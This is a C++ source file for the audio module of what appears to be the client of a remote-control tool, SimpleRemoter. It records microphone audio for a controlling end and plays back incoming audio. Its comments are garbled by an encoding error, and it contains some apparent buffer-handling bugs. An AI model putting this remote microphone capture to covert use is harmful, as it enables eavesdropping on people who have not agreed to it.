Files
SimpleRemoter/client/Audio.cpp
yuanyuanxiang c54d75505e 主控端退出时被控端也退出
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。

2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。

3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
2019-01-15 21:48:37 +08:00

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// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Audio.h"
#include <iostream>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
m_ulBufferLength = 1000;
int i = 0;
for (i = 0; i < 2; i++)
{
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
m_OutAudioHeader[i] = new WAVEHDR;
}
}
CAudio::~CAudio()
{
m_bExit = TRUE;
if (m_hEventWaveIn)
{
SetEvent(m_hEventWaveIn);
CloseHandle(m_hEventWaveIn);
m_hEventWaveIn = NULL;
}
if (m_hStartRecord)
{
SetEvent(m_hStartRecord);
CloseHandle(m_hStartRecord);
m_hStartRecord = NULL;
}
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("ûÓгɹ¦¹Ø±ÕwaveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
delete [] m_OutAudioHeader[i];
m_OutAudioHeader[i] = NULL;
}
}
BOOL CAudio::InitializeWaveIn()
{
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//´ò¿ªÂ¼ÒôÉ豸COM 1 Ö¸¶¨ÉùÒô¹æ¸ñ 2 Ö§³Öͨ¹ýÏ̻߳ص÷ »»»º³å
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
//m_hWaveIn ¼Òô»ú¾ä±ú
if (mmResult != MMSYSERR_NOERROR)
{
return FALSE;
}
//¼ÒôÉ豸 ÐèÒªµÄÁ½¸ö»º³å
for (int i=0; i<2; i++)
{
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData Ö¸ÕëÊý×é
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_InAudioHeader[i]->dwFlags = 0;
m_InAudioHeader[i]->dwLoops = 0;
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
ResumeThread(m_Thread);
waveInStart(m_hWaveIn); //¼Òô
m_bIsWaveInUsed = TRUE;
return true;
}
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
//¼Òô»ú
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE)
{
return NULL;
}
if (dwBufferSize == NULL)
{
return NULL;
}
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength;
return m_InAudioData[m_nWaveInIndex]; //·µ³öÕæÕýÊý¾Ý
}
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
CAudio *This = (CAudio *)lParam;
MSG Msg;
while (GetMessage(&Msg, NULL, 0, 0))
{
if (This->m_bExit)
break;
if (Msg.message == MM_WIM_DATA)
{
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//¸üлº³å
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
return -1;
}
if (Msg.message == MM_WIM_CLOSE)
{
break;
}
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
std::cout<<"waveInCallBack end\n";
This->m_hThreadCallBack = false;
return 0;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 ÒôƵ¸ñʽ 2 ²¥ÒôÉ豸
return NULL;
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength)
{
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
int i;
for (i = 0; i < 2; i++)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //ÉùÒôÊý¾Ý
MMRESULT mmResult;
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (i = 0; i < 2; i++)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_OutAudioHeader[i]->dwFlags = 0;
m_OutAudioHeader[i]->dwLoops = 0;
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
}
m_bIsWaveOutUsed = TRUE;
return TRUE;
}